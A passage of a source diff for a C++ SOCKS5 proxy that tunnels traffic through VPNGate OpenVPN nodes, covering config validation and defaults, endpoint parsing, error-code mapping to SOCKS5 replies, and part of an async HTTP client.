if (socks5.require_auth && socks5.users.empty())
|
||||
return fail("socks5.require_auth is set but no users are configured "
|
||||
"(use [users] or socks5.auth_file)");
|
||||
for (const auto &u : socks5.users)
|
||||
if (u.hash_hex.empty())
|
||||
return fail("credential for user '" + u.username + "' could not be hashed");
|
||||
|
||||
if (egress_mode != "tunnel" && egress_mode != "direct")
|
||||
return fail("egress.mode must be 'tunnel' or 'direct'");
|
||||
|
||||
if (vpngate.api_urls.empty()) return fail("vpngate.api_urls must not be empty");
|
||||
if (selector.probe_candidates == 0)
|
||||
return fail("selector.probe_candidates must be non-zero");
|
||||
if (selector.probe_samples == 0)
|
||||
return fail("selector.probe_samples must be non-zero");
|
||||
// Negative weights would invert a term rather than disable it, which is
|
||||
// almost never what someone editing a config means. Zero is how you turn one
|
||||
// off. They need not sum to 1: the scorer normalises.
|
||||
for (const auto &[name, w] : {std::pair<const char *, double>{"w_score", selector.w_score},
|
||||
{"w_speed", selector.w_speed},
|
||||
{"w_sessions", selector.w_sessions},
|
||||
{"w_uptime", selector.w_uptime},
|
||||
{"w_rtt", selector.w_rtt},
|
||||
{"w_prior", selector.w_prior},
|
||||
{"w_history", selector.w_history}}) {
|
||||
if (w < 0.0)
|
||||
return fail(std::string("selector.") + name + " must be >= 0");
|
||||
}
|
||||
if (switching.max_draining == 0 && switching.mode == SwitchConfig::Mode::Graceful)
|
||||
return fail("switch.max_draining must be non-zero in graceful mode");
|
||||
if (switching.improvement_margin < 0.0)
|
||||
return fail("switch.improvement_margin must be >= 0");
|
||||
if (health.unhealthy_windows < 1)
|
||||
return fail("health.unhealthy_windows must be >= 1");
|
||||
if (dns.fallback_servers.empty())
|
||||
return fail("dns.fallback_servers must not be empty");
|
||||
// Fallback resolvers must be literals: resolving them would need a resolver.
|
||||
for (const auto &s : dns.fallback_servers)
|
||||
if (!IpAddress::parse(s).has_value())
|
||||
return fail("dns.fallback_servers must be IP literals, got '" + s + "'");
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,196 @@
|
||||
// Configuration model and INI-style loader.
|
||||
//
|
||||
// Format:
|
||||
// [section]
|
||||
// key = value # comment
|
||||
// list_key = a, b, c
|
||||
//
|
||||
// Durations accept a unit suffix: "30s", "5m", "1h", "250ms". Bare numbers are
|
||||
// seconds. Keeping the format boring is intentional -- config bugs at 3am are
|
||||
// worse than a missing feature.
|
||||
#pragma once
|
||||
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <map>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg {
|
||||
|
||||
using Millis = std::chrono::milliseconds;
|
||||
|
||||
struct Credential {
|
||||
std::string username;
|
||||
// Stored as sha256(salt || password), hex. Never the plaintext.
|
||||
std::string salt_hex;
|
||||
std::string hash_hex;
|
||||
};
|
||||
|
||||
struct Socks5Config {
|
||||
std::string listen_address = "127.0.0.1";
|
||||
uint16_t listen_port = 1080;
|
||||
bool require_auth = true;
|
||||
// Address handed back in the UDP ASSOCIATE reply. Must be reachable *by the
|
||||
// client*, which is why it cannot just be the listen address when that is
|
||||
// 0.0.0.0. Empty means "derive from the control connection's local address".
|
||||
std::string advertise_address;
|
||||
bool udp_associate_enabled = true;
|
||||
size_t max_sessions = 1200;
|
||||
Millis handshake_timeout{10000};
|
||||
Millis connect_timeout{20000};
|
||||
Millis idle_timeout{300000};
|
||||
Millis udp_idle_timeout{60000};
|
||||
size_t relay_buffer_size = 16384;
|
||||
int io_threads = 0; // 0 = min(hardware_concurrency, 4)
|
||||
std::string auth_file;
|
||||
std::vector<Credential> users;
|
||||
};
|
||||
|
||||
struct VpnGateConfig {
|
||||
std::vector<std::string> api_urls{
|
||||
"http://www.vpngate.net/api/iphone/",
|
||||
"http://www.vpngate.net/api/iphone/", // retried; mirrors can be added
|
||||
};
|
||||
Millis refresh_interval{1800000}; // 30m
|
||||
Millis http_timeout{30000};
|
||||
std::string cache_path = "var/vpngate_cache.csv";
|
||||
Millis cache_max_age{21600000}; // 6h -- stale cache still beats no nodes
|
||||
size_t max_response_bytes = 32u * 1024 * 1024;
|
||||
};
|
||||
|
||||
struct SelectorConfig {
|
||||
std::vector<std::string> country_allow; // empty = all
|
||||
std::vector<std::string> country_deny;
|
||||
bool prefer_udp = true;
|
||||
size_t probe_candidates = 12;
|
||||
size_t probe_samples = 3;
|
||||
Millis probe_timeout{3000};
|
||||
size_t probe_concurrency = 8;
|
||||
|
||||
// Prior (API-derived) weights.
|
||||
double w_score = 0.35;
|
||||
double w_speed = 0.30;
|
||||
double w_sessions = 0.20;
|
||||
double w_uptime = 0.15;
|
||||
|
||||
// Final blend.
|
||||
double w_rtt = 0.45;
|
||||
double w_prior = 0.30;
|
||||
double w_history = 0.25;
|
||||
|
||||
std::string history_path = "var/node_history.tsv";
|
||||
Millis failure_backoff_initial{60000};
|
||||
Millis failure_backoff_max{3600000};
|
||||
};
|
||||
|
||||
struct SwitchConfig {
|
||||
enum class Mode {
|
||||
Graceful, // make-before-break with a bounded drain window
|
||||
Hard, // promote and immediately close every old session
|
||||
};
|
||||
Mode mode = Mode::Graceful;
|
||||
Millis drain_grace{120000};
|
||||
size_t max_draining = 2;
|
||||
Millis min_interval{60000};
|
||||
double improvement_margin = 0.20; // candidate must beat current by this much
|
||||
Millis backoff_initial{30000};
|
||||
Millis backoff_max{480000};
|
||||
bool retry_zero_progress = true; // transparently re-home untouched sessions
|
||||
bool rehome_udp = true; // UDP associations survive a switch
|
||||
|
||||
// How often to go looking for a *better* node while the current one is
|
||||
// perfectly healthy. Off by default, and deliberately so: a scan probes a
|
||||
// dozen volunteer-run servers, and switching a healthy tunnel costs every
|
||||
// session that has moved bytes. Degradation-driven switching (health/) is
|
||||
// what the requirement actually asks for; this is the optional upgrade path.
|
||||
Millis opportunistic_interval{0}; // 0 = disabled
|
||||
};
|
||||
|
||||
struct HealthConfig {
|
||||
Millis interval{15000};
|
||||
int unhealthy_windows = 3;
|
||||
Millis probe_timeout{5000};
|
||||
// The probe dials this host:port *through the egress* and drops the stream
|
||||
// as soon as it is up. A TCP handshake is used rather than a bare DNS lookup
|
||||
// because a lookup can be answered from the resolver cache without a single
|
||||
// byte crossing the tunnel -- which would report a dead tunnel as healthy.
|
||||
std::string probe_domain = "www.google.com";
|
||||
uint16_t probe_port = 80;
|
||||
double min_score = 0.40;
|
||||
double max_connect_failure_rate = 0.50;
|
||||
Millis stall_threshold{45000};
|
||||
};
|
||||
|
||||
struct OvpnConfig {
|
||||
bool allow_legacy_algorithms = true; // VPNGate is AES-128-CBC / SHA1
|
||||
std::string username = "vpn"; // fallback for nodes that demand it
|
||||
std::string password = "vpn";
|
||||
int connect_timeout_s = 30;
|
||||
bool compression = true;
|
||||
int tunnel_up_timeout_s = 45;
|
||||
// SO_SNDBUF/SO_RCVBUF for the tun socketpair; too small drops IP packets
|
||||
// under burst (recoverable, but hurts throughput).
|
||||
int packet_socket_buffer = 2 * 1024 * 1024;
|
||||
};
|
||||
|
||||
struct DnsConfig {
|
||||
std::vector<std::string> fallback_servers{"1.1.1.1", "8.8.8.8"};
|
||||
Millis timeout{5000};
|
||||
size_t cache_entries = 4096;
|
||||
Millis min_ttl{5000};
|
||||
Millis max_ttl{3600000};
|
||||
bool prefer_ipv4 = true;
|
||||
};
|
||||
|
||||
struct AdminConfig {
|
||||
bool enabled = true;
|
||||
std::string listen_address = "127.0.0.1";
|
||||
uint16_t listen_port = 9080;
|
||||
};
|
||||
|
||||
struct LogConfig {
|
||||
log::Level level = log::Level::Info;
|
||||
std::string file = "-";
|
||||
std::map<std::string, log::Level> module_levels;
|
||||
};
|
||||
|
||||
struct Config {
|
||||
Socks5Config socks5;
|
||||
VpnGateConfig vpngate;
|
||||
SelectorConfig selector;
|
||||
SwitchConfig switching;
|
||||
HealthConfig health;
|
||||
OvpnConfig ovpn;
|
||||
DnsConfig dns;
|
||||
AdminConfig admin;
|
||||
LogConfig logging;
|
||||
|
||||
// Egress backend. "tunnel" = OpenVPN+lwIP, "direct" = host sockets (testing).
|
||||
std::string egress_mode = "tunnel";
|
||||
|
||||
// Loads and validates. Returns false and fills `err` on any problem; a
|
||||
// partially-applied config is never returned.
|
||||
static bool load_file(const std::string &path, Config *out, std::string *err);
|
||||
static bool load_string(const std::string &text, Config *out,
|
||||
std::string *err);
|
||||
|
||||
bool validate(std::string *err) const;
|
||||
};
|
||||
|
||||
// Parses "250ms" / "30s" / "5m" / "2h"; bare numbers are seconds.
|
||||
bool parse_duration(const std::string &text, Millis *out);
|
||||
|
||||
// Loads "user:password" or "user:sha256$salt$hash" lines.
|
||||
bool load_auth_file(const std::string &path, std::vector<Credential> *out,
|
||||
std::string *err);
|
||||
|
||||
// Builds a credential with a fresh random salt.
|
||||
Credential make_credential(const std::string &user, const std::string &password);
|
||||
|
||||
// Constant-time verification.
|
||||
bool verify_credential(const Credential &c, const std::string &password);
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,147 @@
|
||||
#include "common/endpoint.h"
|
||||
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include <charconv>
|
||||
#include <cstring>
|
||||
#include <functional>
|
||||
|
||||
namespace ovg {
|
||||
|
||||
std::optional<IpAddress> IpAddress::parse(const std::string &text) {
|
||||
IpAddress out;
|
||||
uint8_t buf[16];
|
||||
if (text.find(':') == std::string::npos) {
|
||||
if (inet_pton(AF_INET, text.c_str(), buf) == 1) {
|
||||
std::memcpy(out.bytes_.data(), buf, 4);
|
||||
out.v4_ = true;
|
||||
out.valid_ = true;
|
||||
return out;
|
||||
}
|
||||
return std::nullopt;
|
||||
}
|
||||
if (inet_pton(AF_INET6, text.c_str(), buf) == 1) {
|
||||
std::memcpy(out.bytes_.data(), buf, 16);
|
||||
out.v4_ = false;
|
||||
out.valid_ = true;
|
||||
return out;
|
||||
}
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
IpAddress IpAddress::from_v4(uint32_t host_order) {
|
||||
IpAddress a;
|
||||
a.bytes_[0] = static_cast<uint8_t>((host_order >> 24) & 0xff);
|
||||
a.bytes_[1] = static_cast<uint8_t>((host_order >> 16) & 0xff);
|
||||
a.bytes_[2] = static_cast<uint8_t>((host_order >> 8) & 0xff);
|
||||
a.bytes_[3] = static_cast<uint8_t>(host_order & 0xff);
|
||||
a.v4_ = true;
|
||||
a.valid_ = true;
|
||||
return a;
|
||||
}
|
||||
|
||||
IpAddress IpAddress::from_bytes_v4(const uint8_t bytes[4]) {
|
||||
IpAddress a;
|
||||
std::memcpy(a.bytes_.data(), bytes, 4);
|
||||
a.v4_ = true;
|
||||
a.valid_ = true;
|
||||
return a;
|
||||
}
|
||||
|
||||
IpAddress IpAddress::from_bytes_v6(const uint8_t bytes[16]) {
|
||||
IpAddress a;
|
||||
std::memcpy(a.bytes_.data(), bytes, 16);
|
||||
a.v4_ = false;
|
||||
a.valid_ = true;
|
||||
return a;
|
||||
}
|
||||
|
||||
uint32_t IpAddress::v4_host_order() const {
|
||||
return (static_cast<uint32_t>(bytes_[0]) << 24) |
|
||||
(static_cast<uint32_t>(bytes_[1]) << 16) |
|
||||
(static_cast<uint32_t>(bytes_[2]) << 8) |
|
||||
static_cast<uint32_t>(bytes_[3]);
|
||||
}
|
||||
|
||||
std::string IpAddress::to_string() const {
|
||||
if (!valid_) return "<invalid>";
|
||||
char buf[INET6_ADDRSTRLEN] = {};
|
||||
if (v4_) {
|
||||
inet_ntop(AF_INET, bytes_.data(), buf, sizeof(buf));
|
||||
} else {
|
||||
inet_ntop(AF_INET6, bytes_.data(), buf, sizeof(buf));
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
Endpoint::Endpoint(IpAddress addr, uint16_t port)
|
||||
: kind_(addr.is_v4() ? Kind::Ipv4 : Kind::Ipv6),
|
||||
addr_(std::move(addr)),
|
||||
port_(port) {}
|
||||
|
||||
Endpoint::Endpoint(std::string domain, uint16_t port)
|
||||
: kind_(Kind::Domain), domain_(std::move(domain)), port_(port) {}
|
||||
|
||||
std::optional<Endpoint> Endpoint::parse(const std::string &text) {
|
||||
if (text.empty()) return std::nullopt;
|
||||
|
||||
std::string host;
|
||||
std::string port_str;
|
||||
|
||||
if (text.front() == '[') {
|
||||
// Bracketed IPv6 literal: [::1]:80
|
||||
const auto close = text.find(']');
|
||||
if (close == std::string::npos) return std::nullopt;
|
||||
host = text.substr(1, close - 1);
|
||||
if (close + 1 >= text.size() || text[close + 1] != ':') return std::nullopt;
|
||||
port_str = text.substr(close + 2);
|
||||
} else {
|
||||
const auto colon = text.rfind(':');
|
||||
if (colon == std::string::npos) return std::nullopt;
|
||||
// A bare IPv6 literal has several colons and no port; reject it as
|
||||
// ambiguous rather than silently truncating the address.
|
||||
if (text.find(':') != colon) return std::nullopt;
|
||||
host = text.substr(0, colon);
|
||||
port_str = text.substr(colon + 1);
|
||||
}
|
||||
|
||||
if (host.empty() || port_str.empty()) return std::nullopt;
|
||||
|
||||
unsigned long port_val = 0;
|
||||
const char *begin = port_str.data();
|
||||
const char *end = begin + port_str.size();
|
||||
const auto res = std::from_chars(begin, end, port_val);
|
||||
if (res.ec != std::errc{} || res.ptr != end || port_val == 0 ||
|
||||
port_val > 65535)
|
||||
return std::nullopt;
|
||||
|
||||
if (auto ip = IpAddress::parse(host))
|
||||
return Endpoint(*ip, static_cast<uint16_t>(port_val));
|
||||
return Endpoint(std::move(host), static_cast<uint16_t>(port_val));
|
||||
}
|
||||
|
||||
std::string Endpoint::host_string() const {
|
||||
return kind_ == Kind::Domain ? domain_ : addr_.to_string();
|
||||
}
|
||||
|
||||
std::string Endpoint::to_string() const {
|
||||
const std::string h = host_string();
|
||||
if (kind_ == Kind::Ipv6) return "[" + h + "]:" + std::to_string(port_);
|
||||
return h + ":" + std::to_string(port_);
|
||||
}
|
||||
|
||||
size_t EndpointHash::operator()(const Endpoint &e) const noexcept {
|
||||
size_t h = std::hash<uint16_t>{}(e.port());
|
||||
h ^= std::hash<int>{}(static_cast<int>(e.kind())) + 0x9e3779b9 + (h << 6) +
|
||||
(h >> 2);
|
||||
if (e.is_domain()) {
|
||||
h ^= std::hash<std::string>{}(e.domain()) + 0x9e3779b9 + (h << 6) + (h >> 2);
|
||||
} else {
|
||||
const auto &b = e.address().bytes();
|
||||
for (size_t i = 0; i < e.address().byte_len(); ++i)
|
||||
h ^= std::hash<uint8_t>{}(b[i]) + 0x9e3779b9 + (h << 6) + (h >> 2);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,87 @@
|
||||
// A network destination: either a literal IP or a domain name, plus a port.
|
||||
//
|
||||
// SOCKS5 hands us all three ATYP forms, and a domain must stay unresolved until
|
||||
// it reaches the egress (resolving it locally would leak DNS outside the
|
||||
// tunnel). So the type deliberately keeps "domain" as a first-class kind rather
|
||||
// than eagerly converting to an address.
|
||||
#pragma once
|
||||
|
||||
#include <array>
|
||||
#include <cstdint>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
|
||||
namespace ovg {
|
||||
|
||||
// A resolved IPv4 or IPv6 address in binary form.
|
||||
class IpAddress {
|
||||
public:
|
||||
IpAddress() = default;
|
||||
|
||||
static std::optional<IpAddress> parse(const std::string &text);
|
||||
static IpAddress from_v4(uint32_t host_order);
|
||||
static IpAddress from_bytes_v4(const uint8_t bytes[4]);
|
||||
static IpAddress from_bytes_v6(const uint8_t bytes[16]);
|
||||
|
||||
bool is_v4() const { return v4_; }
|
||||
bool is_v6() const { return !v4_ && valid_; }
|
||||
bool valid() const { return valid_; }
|
||||
|
||||
// Host byte order; only meaningful when is_v4().
|
||||
uint32_t v4_host_order() const;
|
||||
const std::array<uint8_t, 16> &bytes() const { return bytes_; }
|
||||
// Number of significant bytes: 4 for v4, 16 for v6.
|
||||
size_t byte_len() const { return v4_ ? 4 : 16; }
|
||||
|
||||
std::string to_string() const;
|
||||
|
||||
bool operator==(const IpAddress &o) const {
|
||||
return valid_ == o.valid_ && v4_ == o.v4_ && bytes_ == o.bytes_;
|
||||
}
|
||||
|
||||
private:
|
||||
std::array<uint8_t, 16> bytes_{};
|
||||
bool v4_ = false;
|
||||
bool valid_ = false;
|
||||
};
|
||||
|
||||
class Endpoint {
|
||||
public:
|
||||
enum class Kind { Ipv4, Ipv6, Domain };
|
||||
|
||||
Endpoint() = default;
|
||||
Endpoint(IpAddress addr, uint16_t port);
|
||||
Endpoint(std::string domain, uint16_t port);
|
||||
|
||||
// Accepts "1.2.3.4:80", "[::1]:80", "example.com:443".
|
||||
static std::optional<Endpoint> parse(const std::string &text);
|
||||
|
||||
Kind kind() const { return kind_; }
|
||||
bool is_domain() const { return kind_ == Kind::Domain; }
|
||||
const std::string &domain() const { return domain_; }
|
||||
const IpAddress &address() const { return addr_; }
|
||||
uint16_t port() const { return port_; }
|
||||
void set_port(uint16_t p) { port_ = p; }
|
||||
|
||||
// "1.2.3.4:80" / "[::1]:80" / "example.com:443"
|
||||
std::string to_string() const;
|
||||
// Host part only, without port.
|
||||
std::string host_string() const;
|
||||
|
||||
bool operator==(const Endpoint &o) const {
|
||||
return kind_ == o.kind_ && port_ == o.port_ && domain_ == o.domain_ &&
|
||||
addr_ == o.addr_;
|
||||
}
|
||||
|
||||
private:
|
||||
Kind kind_ = Kind::Domain;
|
||||
IpAddress addr_;
|
||||
std::string domain_;
|
||||
uint16_t port_ = 0;
|
||||
};
|
||||
|
||||
struct EndpointHash {
|
||||
size_t operator()(const Endpoint &e) const noexcept;
|
||||
};
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,103 @@
|
||||
#include "common/error.h"
|
||||
|
||||
#include <cerrno>
|
||||
#include <cstring>
|
||||
|
||||
namespace ovg {
|
||||
namespace {
|
||||
|
||||
class OvgCategory : public std::error_category {
|
||||
public:
|
||||
const char *name() const noexcept override { return "ovg"; }
|
||||
|
||||
std::string message(int v) const override {
|
||||
switch (static_cast<Error>(v)) {
|
||||
case Error::Ok: return "ok";
|
||||
case Error::Cancelled: return "cancelled";
|
||||
case Error::Timeout: return "timed out";
|
||||
case Error::NotConnected: return "egress not connected";
|
||||
case Error::EgressGone: return "egress destroyed";
|
||||
case Error::EgressDraining: return "egress is draining";
|
||||
case Error::ConnectionRefused: return "connection refused";
|
||||
case Error::HostUnreachable: return "host unreachable";
|
||||
case Error::NetworkUnreachable: return "network unreachable";
|
||||
case Error::ResolveFailed: return "name resolution failed";
|
||||
case Error::ProtocolError: return "protocol error";
|
||||
case Error::AuthFailed: return "authentication failed";
|
||||
case Error::NotSupported: return "not supported";
|
||||
case Error::ResourceExhausted: return "resource exhausted";
|
||||
case Error::TunnelSetupFailed: return "tunnel setup failed";
|
||||
case Error::ConfigInvalid: return "invalid configuration";
|
||||
case Error::UpstreamFailure: return "upstream failure";
|
||||
case Error::Internal: return "internal error";
|
||||
}
|
||||
return "unknown error " + std::to_string(v);
|
||||
}
|
||||
};
|
||||
|
||||
const OvgCategory g_category{};
|
||||
|
||||
} // namespace
|
||||
|
||||
const std::error_category &error_category() { return g_category; }
|
||||
|
||||
std::error_code make_error_code(Error e) {
|
||||
return {static_cast<int>(e), g_category};
|
||||
}
|
||||
|
||||
uint8_t socks5_reply_for(const std::error_code &ec) {
|
||||
// RFC 1928 §6 REP values.
|
||||
constexpr uint8_t kSucceeded = 0x00;
|
||||
constexpr uint8_t kGeneralFailure = 0x01;
|
||||
constexpr uint8_t kNetworkUnreachable = 0x03;
|
||||
constexpr uint8_t kHostUnreachable = 0x04;
|
||||
constexpr uint8_t kConnectionRefused = 0x05;
|
||||
constexpr uint8_t kTtlExpired = 0x06;
|
||||
constexpr uint8_t kCommandNotSupported = 0x07;
|
||||
|
||||
if (!ec) return kSucceeded;
|
||||
|
||||
if (ec.category() == g_category) {
|
||||
switch (static_cast<Error>(ec.value())) {
|
||||
case Error::Ok: return kSucceeded;
|
||||
case Error::ConnectionRefused: return kConnectionRefused;
|
||||
case Error::HostUnreachable:
|
||||
case Error::ResolveFailed: return kHostUnreachable;
|
||||
case Error::NetworkUnreachable:
|
||||
case Error::NotConnected:
|
||||
case Error::EgressGone:
|
||||
case Error::EgressDraining: return kNetworkUnreachable;
|
||||
case Error::Timeout: return kTtlExpired;
|
||||
case Error::NotSupported: return kCommandNotSupported;
|
||||
default: return kGeneralFailure;
|
||||
}
|
||||
}
|
||||
|
||||
// System errors. The egress layer is supposed to translate these into the
|
||||
// codes above before a reply is ever built (egress/direct_egress.cpp
|
||||
// map_ec), so reaching here means something slipped through -- answer as
|
||||
// precisely as we still can rather than flattening it to 0x01.
|
||||
if (ec == std::errc::connection_refused) return kConnectionRefused;
|
||||
if (ec == std::errc::host_unreachable) return kHostUnreachable;
|
||||
if (ec == std::errc::network_unreachable) return kNetworkUnreachable;
|
||||
if (ec == std::errc::timed_out) return kTtlExpired;
|
||||
|
||||
// ...and asio's category, which carries errno values but does *not* declare
|
||||
// itself equivalent to std::errc, so every comparison above is false for it.
|
||||
// Matching on the value is only meaningful because both errno-based
|
||||
// categories agree on the numbers on our target (Linux); a category that
|
||||
// numbers its codes differently falls through to the general failure, which
|
||||
// is what it would have done anyway.
|
||||
if (ec.category().name() == std::string("asio.system")) {
|
||||
switch (ec.value()) {
|
||||
case ECONNREFUSED: return kConnectionRefused;
|
||||
case EHOSTUNREACH: return kHostUnreachable;
|
||||
case ENETUNREACH: return kNetworkUnreachable;
|
||||
case ETIMEDOUT: return kTtlExpired;
|
||||
default: break;
|
||||
}
|
||||
}
|
||||
return kGeneralFailure;
|
||||
}
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,43 @@
|
||||
// Project error codes, exposed as std::error_code so they compose with the
|
||||
// asio handler signatures used throughout (handler(std::error_code, ...)).
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <system_error>
|
||||
|
||||
namespace ovg {
|
||||
|
||||
enum class Error {
|
||||
Ok = 0,
|
||||
Cancelled,
|
||||
Timeout,
|
||||
NotConnected, // egress has no usable tunnel
|
||||
EgressGone, // egress was torn down under us
|
||||
EgressDraining, // egress refuses new work
|
||||
ConnectionRefused,
|
||||
HostUnreachable,
|
||||
NetworkUnreachable,
|
||||
ResolveFailed,
|
||||
ProtocolError, // malformed SOCKS5 / DNS / CSV
|
||||
AuthFailed,
|
||||
NotSupported,
|
||||
ResourceExhausted, // admission control tripped
|
||||
TunnelSetupFailed,
|
||||
ConfigInvalid,
|
||||
UpstreamFailure, // VPNGate API and friends
|
||||
Internal,
|
||||
};
|
||||
|
||||
const std::error_category &error_category();
|
||||
std::error_code make_error_code(Error e);
|
||||
|
||||
// Maps our codes onto SOCKS5 REP values (RFC 1928 §6).
|
||||
uint8_t socks5_reply_for(const std::error_code &ec);
|
||||
|
||||
} // namespace ovg
|
||||
|
||||
namespace std {
|
||||
template <>
|
||||
struct is_error_code_enum<ovg::Error> : true_type {};
|
||||
} // namespace std
|
||||
@@ -0,0 +1,407 @@
|
||||
#include "common/http_get.h"
|
||||
|
||||
#include <asio/ssl.hpp>
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <charconv>
|
||||
#include <memory>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg::http {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "http";
|
||||
|
||||
std::string to_lower(std::string s) {
|
||||
std::transform(s.begin(), s.end(), s.begin(),
|
||||
[](unsigned char c) { return std::tolower(c); });
|
||||
return s;
|
||||
}
|
||||
|
||||
// Resolves a relative Location header against the request it came from.
|
||||
std::string resolve_redirect(const Url &base, const std::string &location) {
|
||||
if (location.rfind("http://", 0) == 0 || location.rfind("https://", 0) == 0)
|
||||
return location;
|
||||
std::string out = base.scheme + "://" + base.host;
|
||||
const bool default_port = (base.scheme == "http" && base.port == "80") ||
|
||||
(base.scheme == "https" && base.port == "443");
|
||||
if (!default_port) out += ":" + base.port;
|
||||
if (location.empty() || location.front() != '/') out += "/";
|
||||
out += location;
|
||||
return out;
|
||||
}
|
||||
|
||||
// Drives one request/response. Owns itself for the duration via shared_from_this.
|
||||
class Fetcher : public std::enable_shared_from_this<Fetcher> {
|
||||
public:
|
||||
Fetcher(asio::io_context &io, Url url, Options opts, int redirects_left,
|
||||
Handler handler)
|
||||
: io_(io),
|
||||
resolver_(io),
|
||||
timer_(io),
|
||||
url_(std::move(url)),
|
||||
opts_(std::move(opts)),
|
||||
redirects_left_(redirects_left),
|
||||
handler_(std::move(handler)) {}
|
||||
|
||||
void start() {
|
||||
timer_.expires_after(opts_.timeout);
|
||||
timer_.async_wait([self = shared_from_this()](std::error_code ec) {
|
||||
if (ec) return; // cancelled -- the request already finished
|
||||
LOG_DEBUG(kMod, "GET {}://{}{} timed out", self->url_.scheme,
|
||||
self->url_.host, self->url_.target);
|
||||
self->finish(make_error_code(Error::Timeout), {});
|
||||
});
|
||||
|
||||
auto self = shared_from_this();
|
||||
resolver_.async_resolve(
|
||||
url_.host, url_.port,
|
||||
[self](std::error_code ec, asio::ip::tcp::resolver::results_type r) {
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->connect(std::move(r));
|
||||
});
|
||||
}
|
||||
|
||||
private:
|
||||
void connect(asio::ip::tcp::resolver::results_type endpoints) {
|
||||
auto self = shared_from_this();
|
||||
if (url_.scheme == "https") {
|
||||
ssl_ctx_ = std::make_unique<asio::ssl::context>(
|
||||
asio::ssl::context::tls_client);
|
||||
ssl_ctx_->set_options(asio::ssl::context::default_workarounds |
|
||||
asio::ssl::context::no_sslv2 |
|
||||
asio::ssl::context::no_sslv3 |
|
||||
asio::ssl::context::no_tlsv1 |
|
||||
asio::ssl::context::no_tlsv1_1);
|
||||
if (opts_.verify_tls) {
|
||||
ssl_ctx_->set_default_verify_paths();
|
||||
ssl_ctx_->set_verify_mode(asio::ssl::verify_peer);
|
||||
} else {
|
||||
ssl_ctx_->set_verify_mode(asio::ssl::verify_none);
|
||||
}
|
||||
ssl_stream_ = std::make_unique<
|
||||
asio::ssl::stream<asio::ip::tcp::socket>>(io_, *ssl_ctx_);
|
||||
|
||||
if (opts_.verify_tls) {
|
||||
ssl_stream_->set_verify_callback(
|
||||
asio::ssl::host_name_verification(url_.host));
|
||||
// SNI: without it many vhosts serve the wrong certificate.
|
||||
if (!SSL_set_tlsext_host_name(ssl_stream_->native_handle(),
|
||||
url_.host.c_str())) {
|
||||
return finish(make_error_code(Error::UpstreamFailure), {});
|
||||
}
|
||||
}
|
||||
|
||||
asio::async_connect(
|
||||
ssl_stream_->next_layer(), endpoints,
|
||||
[self](std::error_code ec, const asio::ip::tcp::endpoint &) {
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->ssl_stream_->async_handshake(
|
||||
asio::ssl::stream_base::client, [self](std::error_code ec2) {
|
||||
if (ec2) return self->finish(ec2, {});
|
||||
self->send_request();
|
||||
});
|
||||
});
|
||||
} else {
|
||||
plain_ = std::make_unique<asio::ip::tcp::socket>(io_);
|
||||
asio::async_connect(
|
||||
*plain_, endpoints,
|
||||
[self](std::error_code ec, const asio::ip::tcp::endpoint &) {
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->send_request();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
void send_request() {
|
||||
request_ = "GET " + url_.target + " HTTP/1.1\r\n";
|
||||
request_ += "Host: " + url_.host + "\r\n";
|
||||
request_ += "User-Agent: " + opts_.user_agent + "\r\n";
|
||||
request_ += "Accept: */*\r\n";
|
||||
request_ += "Connection: close\r\n\r\n";
|
||||
|
||||
auto self = shared_from_this();
|
||||
auto on_written = [self](std::error_code ec, size_t) {
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->read_headers();
|
||||
};
|
||||
if (ssl_stream_)
|
||||
asio::async_write(*ssl_stream_, asio::buffer(request_), on_written);
|
||||
else
|
||||
asio::async_write(*plain_, asio::buffer(request_), on_written);
|
||||
}
|
||||
|
||||
void read_headers() {
|
||||
auto self = shared_from_this();
|
||||
auto on_read = [self](std::error_code ec, size_t n) {
|
||||
if (ec) return self->finish(ec, {});
|
||||
self->parse_headers(n);
|
||||
};
|
||||
if (ssl_stream_)
|
||||
asio::async_read_until(*ssl_stream_, buf_, "\r\n\r\n", on_read);
|
||||
else
|
||||
asio::async_read_until(*plain_, buf_, "\r\n\r\n", on_read);
|
||||
}
|
||||
|
||||
void parse_headers(size_t header_len) {
|
||||
std::string headers(
|
||||
asio::buffers_begin(buf_.data()),
|
||||
asio::buffers_begin(buf_.data()) + static_cast<long>(header_len));
|
||||
buf_.consume(header_len);
|
||||
|
||||
const auto first_eol = headers.find("\r\n");
|
||||
if (first_eol == std::string::npos)
|
||||
return finish(make_error_code(Error::ProtocolError), {});
|
||||
|
||||
// "HTTP/1.1 200 OK"
|
||||
const std::string status_line = headers.substr(0, first_eol);
|
||||
const auto sp1 = status_line.find(' ');
|
||||
if (sp1 == std::string::npos)
|
||||
return finish(make_error_code(Error::ProtocolError), {});
|
||||
int status = 0;
|
||||
{
|
||||
const char *b = status_line.data() + sp1 + 1;
|
||||
const char *e = status_line.data() + status_line.size();
|
||||
std::from_chars(b, std::min(b + 3, e), status);
|
||||
}
|
||||
resp_.status = status;
|
||||
|
||||
size_t pos = first_eol + 2;
|
||||
std::string location;
|
||||
while (pos < headers.size()) {
|
||||
const auto eol = headers.find("\r\n", pos);
|
||||
if (eol == std::string::npos || eol == pos) break;
|
||||
const std::string line = headers.substr(pos, eol - pos);
|
||||
pos = eol + 2;
|
||||
const auto colon = line.find(':');
|
||||
if (colon == std::string::npos) continue;
|
||||
